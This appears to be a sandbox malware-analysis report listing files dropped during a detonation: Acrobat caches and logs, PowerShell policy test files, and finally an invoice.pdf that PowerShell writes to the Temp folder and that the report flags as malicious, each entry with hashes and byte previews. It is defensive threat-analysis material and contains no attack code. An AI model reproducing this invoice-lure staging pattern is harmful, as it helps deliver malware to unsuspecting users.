Preview:	{"all":[{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"afcbf1ec007c5acf1d9c612903c64c83","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736536211000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c2b5c9cd94bf031fb599bcef4b0b79c7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736536211000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"34d4adafe0e11bc27b9caa00b7fb0714","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736536211000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fa5100468b5809104934fe96e838b2dc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736536211000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c6f9082717327e5f1df203f46bcdb873","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736536211000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5740718af408cbef5e98583b1eb88715","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4574882599217096
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2cdLviuFuI7Pxr:/VmsrhoGgt5Zg6p7h
MD5:	740C346C5EE89292FCE47ACDD45FCA19
SHA1:	A83B0610C067EDE9F06ECAE96CC28018DB8CEAED
SHA-256:	2D190F2C786D00E4667350250D3A9C373400AB6F979D1DC83E40CE6E23BA4D93
SHA-512:	D8B824CE78636173547E787486D91ED68AE480ACEC5C81B2F0C4587124172EFB76E37A708803F1280A5E7EEF0C244F07EC4196AC5FFB65C85FBADD4077393882
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.962451910513686
Encrypted:	false
SSDEEP:	48:7MjhoGgpP5ZgrI2caLviuFuI7PehGqVl2GL7msY:76hoGgt5Zg/p72hGaVmsY
MD5:	0C55C8CD5EBFC13E9A5224F83A191BEA
SHA1:	4BC752D2F0749B715A8C9AB00F0C2CE2705D7DF8
SHA-256:	723B5AC8CA3C8B7AF00335858CD8660DB368A80B90153A551B205BEF31235551
SHA-512:	B1B29A28EAE4E02EF058D6F2393892D6301E9A3A4A882EF326633B930EB5AEB5CF958B5871ABA63DABE62D27AC85A5AE8BE7E66BD85A476A79640B43F8277449
Malicious:	false
Preview:	.... .c.....<.Z...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgr+LfizyjpnP/UYtzYLAQVTLPXYyu:6a6TZ44ADEr+riejlPCXVvXK
MD5:	428CFFB5B0A25489B7B6D4BFAC47F923
SHA1:	EBCDE36131FB6AC2D4DBFCEA28C5EE318034BEB7
SHA-256:	115450CBBFEECD288E1F8BE40D10615F0A0FCBEB733BBEF26BC2BFE8DAC86A1D
SHA-512:	441C7188D32BC23891CF2132B47ABD0C70A2462D530F407FA5866C8B666F8E91FFC201A85A22F2D460161594AD1FFA747D44987D716893E02EECA60A69EECE4D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI42729.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERkOH:Qw946cPbiOxDlbYnuRK+bDxH
MD5:	C0B86A3DE27C9C13D5CF85D37A08A983
SHA1:	DD5899F2825A5F590EDC40708FC07EE2310B5C20
SHA-256:	3C58A7369ADD12F67ACD56C3CEA66F28BE1C109163DBFBB5E98DB6B74120BB8A
SHA-512:	A3A182B06A9DB5CD01E7F30F0007A1648B276947AE2429D151427E8B8363233355730CE24C9A08F777F73BE5A78AE8A03BEA946D582C7BAFD3B4A678863D1424
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.1.0.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eh0tdis2.tto.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygbw1sel.w5w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91t5ot82_9uqpbi_638.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ye8mgs_9uqpbj_638.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-10-06-662.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364908451410961
Encrypted:	false
SSDEEP:	384:gSePdNE4+wKdirjKot1SYOQ9tq0QQVkVoVCVD4AycwyMgw+U9OWPBAiJZ0ZkB1Hm:6IACK8t
MD5:	FA6887F748851D088D0A234E4E0731C0
SHA1:	19438242861B261802D2A932D5F21A9297730C76
SHA-256:	6C11BAF1CBCF63D0B94C51E9317867E2DDA9A5F356C866C39A21F19755C80D82
SHA-512:	16A314585E89CC54A1ADB64BAC5C642A33079B7685A90935E8D95E28A9E3244A0B92D37099759809E50C393B757AA4080F33CA8E3E218B49D5C59244DA995AE2
Malicious:	false
Preview:	SessionID=61a5d42b-d0d3-4baf-a9f8-6461b59b1b9d.1736536206679 Timestamp=2025-01-10T14:10:06:679-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=61a5d42b-d0d3-4baf-a9f8-6461b59b1b9d.1736536206679 Timestamp=2025-01-10T14:10:06:684-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=61a5d42b-d0d3-4baf-a9f8-6461b59b1b9d.1736536206679 Timestamp=2025-01-10T14:10:06:684-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=61a5d42b-d0d3-4baf-a9f8-6461b59b1b9d.1736536206679 Timestamp=2025-01-10T14:10:06:684-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=61a5d42b-d0d3-4baf-a9f8-6461b59b1b9d.1736536206679 Timestamp=2025-01-10T14:10:06:694-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.391552056306365
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbiAcbOIuGcb5:2PLH8FVfpBJnYWVu9
MD5:	34F21C1965A3A1BC5C0D80C19361D742
SHA1:	BECE2C88933496B7B0BC571B9AE67F5C41533A12
SHA-256:	F5A2279A68A02F06AF8838125658AF05A3F800AE6BF1FC63DEFE71A22AEAEEBE
SHA-512:	25B98C4504D1F21D04A9CE83215B8BAB346A1D09BE2014202E983D402A396F95AACACDA9497983D2981793972EED44A97CEF05FCD5FFA6B95C4470B7340E8204
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\289d318d-6b04-4ed1-b98d-86715c4ee33e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\29860671-9671-44c9-97bd-4a684c11e21d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\46d837ef-fe11-48bd-8e82-45748b6d5be1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6241dccd-ce1c-4aba-a51b-67ffc83f5745.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
